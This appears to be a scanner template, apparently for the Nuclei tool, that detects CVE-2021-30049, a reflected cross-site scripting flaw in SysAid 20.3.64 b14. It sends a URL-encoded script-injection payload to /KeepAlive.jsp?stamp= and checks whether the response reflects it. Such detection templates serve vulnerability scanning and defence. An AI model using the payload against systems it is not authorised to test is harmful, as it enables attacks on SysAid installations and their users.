id: CVE-2021-30049

info:
  name: SysAid Technologies 20.3.64 b14 Reflected XSS
  author: daffainfo
  severity: medium
  description: SysAid 20.3.64 b14 is affected by Cross Site Scripting (XSS) via a /KeepAlive.jsp?stamp= URI.
  reference:
    - https://eh337.net/2021/03/30/sysaid/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30049
    cwe-id: CWE-79
  tags: cve,cve2021,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200